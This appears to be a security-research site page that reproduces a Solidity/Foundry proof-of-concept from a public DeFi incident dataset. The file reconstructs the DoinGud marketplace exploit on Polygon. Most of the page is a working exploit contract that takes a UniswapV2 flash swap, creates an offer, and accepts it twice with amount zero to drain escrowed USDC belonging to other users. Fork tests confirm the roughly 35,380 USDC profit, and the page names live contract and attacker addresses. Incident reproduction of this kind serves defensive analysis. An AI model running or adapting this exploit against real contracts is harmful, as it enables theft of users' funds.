Public reproduction file
src/test/2026-09/DoinGud_exp.sol
Public reproduction file for dataset entry DoinGud.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.16;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// DoinGud marketplace - acceptOffer double-payout / escrow drain. Polygon, 2026-09.8//9// Attack tx : 0x56818a63077f5ba8bfc0bc0877ac33502a5d65cc79dbf5dfaac2a0b8545216a810// Block : 94170781 (fork at parent 94170780)11// Attacker : EOA 0xb8C717239BCACE558c3a8Dc471c16E07bF57a1Eb, via its pre-deployed helper12// contract 0xe588834AA3161a0720E8F6bf223748D6098a4B76 (the tx `to` is that13// contract, a to-contract call, NOT a contract creation - confirmed from the trace).14//15// Contracts (Polygon, chainid 137):16// DoinGud marketplace (EIP-2535 Diamond, holds the escrow) : 0xE3A161EdD679fC5ce2dB2316a4B6f7ab33a8eD6A17// Marketplace facet (the vulnerable impl, delegatecalled) : 0x123aAFC8D0a07CE1A146E53aA899e77f21A2DDe118// USDC (PoS) : 0x2791Bca1f2de4661ED88A30C99A7a9449Aa8417419// UniswapV2-style USDC/miMATIC pair (flash-swap source) : 0x160532D2536175d65C03B97b0630A9802c274daD (token0 = USDC)20//21// NOTE ON SOURCE: the marketplace facet 0x123aAFC8... is NOT verified on Polygonscan (getsourcecode22// returns an empty ContractName / SourceCode). So the two entry points are called by their real23// on-chain selectors, with real typed arguments decoded from the trace, rather than through a named24// verified ABI:25// makeOffer selector 0xf6dbe82d args (address offerer, uint256 tokenId, uint256 price, 6x uint256=0)26// acceptOffer selector 0x5c924960 args (address offerer, uint256 tokenId, uint256 price, uint256 amount)27// The names are inferred from behaviour (below); the selectors and the argument layout are taken28// verbatim from the decoded internal calls in the attack trace. This is a structural reconstruction29// from typed values, not a raw-calldata blob.30//31// ROOT CAUSE (the facet is unverified, so this is confirmed EMPIRICALLY against live fork state and32// the disassembled dispatcher, not read from source):33// acceptOffer(offerer, tokenId, price, amount) transfers `price` USDC out of the marketplace escrow34// to msg.sender when amount == 0, and does NOT delete / zero the offer record afterwards. So the35// exact same offer can be accepted again with byte-identical calldata and pays out `price` every36// time. There is also no `offerer != msg.sender` check (attacker is both maker and acceptor).37//38// Two independent checks establish this against real fork state (testAmountZeroIsTheReplayBug and39// testAmountNonzeroReverts below, and the trace testExploit prints):40// * amount == 0: acceptOffer succeeds and is REPLAYABLE - a second byte-identical call pays41// `price` again. There is no state-clearing call, token burn or offer deletion between or42// after the two accepts; the second behaves exactly like the first. This is the drain.43// * amount > 0: acceptOffer REVERTS (the normal path - which would move the NFT quantity and44// retire the offer - cannot complete for a self-offer holding no NFT). So amount == 0 is45// exactly what routes around the offer-consuming/cleanup branch while still paying `price`,46// matching the alert's "amount=0 defeats _updateListingAfterTransfer's `0 > 0` cleanup check".47// The double payout is therefore the missing cleanup on the amount==0 path, not some other setup.48//49// FLOW OF FUNDS (the escrow already held ~35,486.9 USDC of OTHER users' funds at the fork block;50// balanceOf(escrow) == 35_486_935717 before the attack even starts):51// 1. flash-swap-borrow 35,486.935717 USDC from the UniV2 pair.52// 2. makeOffer -> escrow pulls the borrowed 35,486.935717 USDC in (offer id 1 funded).53// 3. acceptOffer #1 -> escrow pays 35,486.935717 USDC back out to the attacker.54// 4. acceptOffer #2 -> escrow pays 35,486.935717 USDC AGAIN (this leg is drained from the55// pre-existing other-user escrow balance - the actual theft).56// 5. repay flash swap 35,593.716868 USDC (borrow + 0.3% fee) back to the pair.57// Net = 2*price - repay = 70,973.871434 - 35,593.716868 = ~35,380.15 USDC, funded entirely by the58// flash loan with zero NFT or principal put up by the attacker. Matches the reported ~35,380 USDC.59//60// This PoC is a from-scratch reconstruction: a named DoinGudExploit contract takes a real UniswapV261// flash swap and makes real typed calls into the live deployed marketplace. No bytecode blob, no raw62// calldata replay, no settled-state shortcut.64interface IUniswapV2Pair {65 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;66}68contract DoinGudExploit {69 IERC20 constant USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);70 IUniswapV2Pair constant PAIR = IUniswapV2Pair(0x160532D2536175d65C03B97b0630A9802c274daD);71 address constant MARKETPLACE = 0xE3A161EdD679fC5ce2dB2316a4B6f7ab33a8eD6A;73 bytes4 constant MAKE_OFFER_SEL = 0xf6dbe82d;74 bytes4 constant ACCEPT_OFFER_SEL = 0x5c924960;76 uint256 constant TOKEN_ID = 1;77 uint256 constant PRICE = 35_486_935_717; // 35,486.935717 USDC, exactly as on-chain79 function run() external {80 // Flash-swap-borrow PRICE of USDC (token0) from the pair; non-empty data triggers the81 // uniswapV2Call flash callback where the whole attack executes.82 PAIR.swap(PRICE, 0, address(this), abi.encode(PRICE));83 // After the flash swap settles, sweep profit to the attacker (the test contract).84 USDC.transfer(msg.sender, USDC.balanceOf(address(this)));85 }87 function uniswapV2Call(address, uint256 amount0, uint256, bytes calldata) external {88 require(msg.sender == address(PAIR), "bad caller");89 uint256 borrowed = amount0; // == PRICE, USDC91 // The marketplace pulls the offer price from us on makeOffer; approve it.92 USDC.approve(MARKETPLACE, type(uint256).max);94 // 1) Create + fund offer id 1 (real typed call, selector 0xf6dbe82d). This transfers the95 // borrowed PRICE USDC into the marketplace escrow.96 // 9 argument words total (offerer, tokenId, price, then 6 trailing zero words), exactly as97 // in the trace. The facet's ABI decoder requires the arg region to be >= 0x120 (288) bytes;98 // one word short reverts empty at ~286 gas before any storage read.99 (bool ok,) = MARKETPLACE.call(100 abi.encodeWithSelector(101 MAKE_OFFER_SEL,102 address(this),103 TOKEN_ID,104 PRICE,105 uint256(0),106 uint256(0),107 uint256(0),108 uint256(0),109 uint256(0),110 uint256(0)111 )112 );113 require(ok, "makeOffer failed");115 // 2) Accept the offer with amount == 0. Pays PRICE back out to us and, because of the missing116 // cleanup + amount==0 guard-skip, leaves the offer record intact.117 _acceptOffer();119 // 3) Accept the SAME offer again with byte-identical calldata. Pays PRICE a second time -120 // this leg drains the pre-existing escrow (other users' funds).121 _acceptOffer();123 // Repay the flash swap: borrowed + 0.3% fee, rounded up (UniswapV2). == 35,593,716,868.124 uint256 repay = (borrowed * 1000) / 997 + 1;125 USDC.transfer(address(PAIR), repay);126 }128 function _acceptOffer() internal {129 (bool ok,) = MARKETPLACE.call(130 abi.encodeWithSelector(ACCEPT_OFFER_SEL, address(this), TOKEN_ID, PRICE, uint256(0))131 );132 require(ok, "acceptOffer failed");133 }134}136contract DoinGudExploitTest is BaseTestWithBalanceLog {137 address constant USDC = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;138 address constant MARKETPLACE = 0xE3A161EdD679fC5ce2dB2316a4B6f7ab33a8eD6A;140 function setUp() public {141 vm.createSelectFork("polygon", 94_170_780); // parent of the exploit block142 fundingToken = USDC;143 }145 function testExploit() public balanceLog {146 // Sanity: the escrow already holds another user's ~35,486.9 USDC at the fork block. The147 // second acceptOffer is drained from this pre-existing balance, which is the real theft.148 uint256 escrowBefore = IERC20(USDC).balanceOf(MARKETPLACE);149 assertEq(escrowBefore, 35_486_935_717, "unexpected pre-existing escrow balance");151 DoinGudExploit exploit = new DoinGudExploit();152 exploit.run();154 uint256 profit = IERC20(USDC).balanceOf(address(this));155 emit log_named_decimal_uint("USDC profit", profit, 6);157 // Reported net profit ~35,380 USDC. Assert we reproduced it within a small band.158 assertApproxEqAbs(profit, 35_380_154_566, 1_000_000, "profit did not reproduce ~35,380 USDC");159 }161 // The offer record is never cleared on the amount==0 path: after one makeOffer, the SAME offer162 // can be accepted twice with byte-identical calldata, each paying `price`. This is the drain.163 function testAmountZeroIsTheReplayBug() public {164 deal(USDC, address(this), 35_486_935_717);165 IERC20(USDC).approve(MARKETPLACE, type(uint256).max);166 (bool m,) = MARKETPLACE.call(167 abi.encodeWithSelector(168 bytes4(0xf6dbe82d), address(this), uint256(1), uint256(35_486_935_717),169 uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)170 )171 );172 require(m, "makeOffer");173 (bool a1,) = MARKETPLACE.call(abi.encodeWithSelector(bytes4(0x5c924960), address(this), uint256(1), uint256(35_486_935_717), uint256(0)));174 (bool a2,) = MARKETPLACE.call(abi.encodeWithSelector(bytes4(0x5c924960), address(this), uint256(1), uint256(35_486_935_717), uint256(0)));175 assertTrue(a1, "first amount==0 accept should pay out");176 assertTrue(a2, "offer was not cleared: second identical accept must also pay out");177 }179 // A nonzero amount takes the normal (offer-consuming) path, which cannot complete for a180 // self-offer holding no NFT, so it reverts. Confirms amount==0 is what routes around cleanup.181 function testAmountNonzeroReverts() public {182 deal(USDC, address(this), 35_486_935_717);183 IERC20(USDC).approve(MARKETPLACE, type(uint256).max);184 (bool m,) = MARKETPLACE.call(185 abi.encodeWithSelector(186 bytes4(0xf6dbe82d), address(this), uint256(1), uint256(35_486_935_717),187 uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)188 )189 );190 require(m, "makeOffer");191 (bool a1,) = MARKETPLACE.call(abi.encodeWithSelector(bytes4(0x5c924960), address(this), uint256(1), uint256(35_486_935_717), uint256(1)));192 assertFalse(a1, "nonzero amount should not take the free-payout path");193 }194}Analysis
Dataset entry
Public Foundry test for “DoinGud” (2026-09-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb8c717239bcace558c3a8dc471c16e07bf57a1eb
- Attack Tx
0x56818a63077f5ba8bfc0bc0877ac33502a5d65cc79dbf5dfaac2a0b8545216a8
File record
- Name
- DoinGud
- Path
- src/test/2026-09/DoinGud_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 53f60252f2f4f8d133fa411b8a326b1c5254bb13
- Language
- Solidity
- Size
- 195 lines
- Date
- 2026-09-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/DoinGud_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 53f60252f2f4f8d133fa411b8a326b1c5254bb13, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.